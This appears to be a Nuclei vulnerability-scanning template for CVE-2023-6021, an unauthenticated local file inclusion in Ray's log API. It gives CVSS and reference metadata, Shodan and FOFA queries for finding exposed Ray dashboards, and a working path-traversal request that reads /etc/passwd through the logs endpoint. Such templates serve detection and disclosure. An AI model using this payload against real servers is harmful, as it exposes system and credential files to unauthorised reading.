Ray API - Local File Inclusion

id: CVE-2023-6021

info:
  name: Ray API - Local File Inclusion
  author: byt3bl33d3r
  severity: high
  description: |
    LFI in Ray's log API endpoint allows attackers to read any file on the server without authentication.
  impact: |
    Unauthenticated attackers can read any file on the server via the log API endpoint, potentially accessing sensitive configuration files, credentials, and application data.
  remediation: |
    Update Ray to a patched version that properly validates file paths in the logs endpoint.
  reference:
    - https://huntr.com/bounties/5039c045-f986-4cbc-81ac-370fe4b0d3f8/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6021
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6021
    cwe-id: CWE-22,CWE-29
    epss-score: 0.37076
    epss-percentile: 0.98328
    cpe: cpe:2.3:a:ray_project:ray:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ray_project
    product: ray
    shodan-query:
      - html:"Ray Dashboard"
      - http.favicon.hash:463802404
      - http.html:"ray dashboard"
    fofa-query:
      - body="ray dashboard"
      - icon_hash=463802404
  tags: cve,cve2023,lfi,ray,oos,ray_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/nodes?view=summary"
      - "{{BaseURL}}/api/v0/logs/file?node_id={{nodeid}}&filename=../../../../../etc%2fpasswd&lines=50000"

    matchers-condition: and
    matchers:
      - type: regex
        part: body_2
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header_2
        words:
          - "text/plain"
          - "aiohttp"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body
        internal: true
        name: nodeid
        json:
          - '..|objects|.nodeId//empty[0]'
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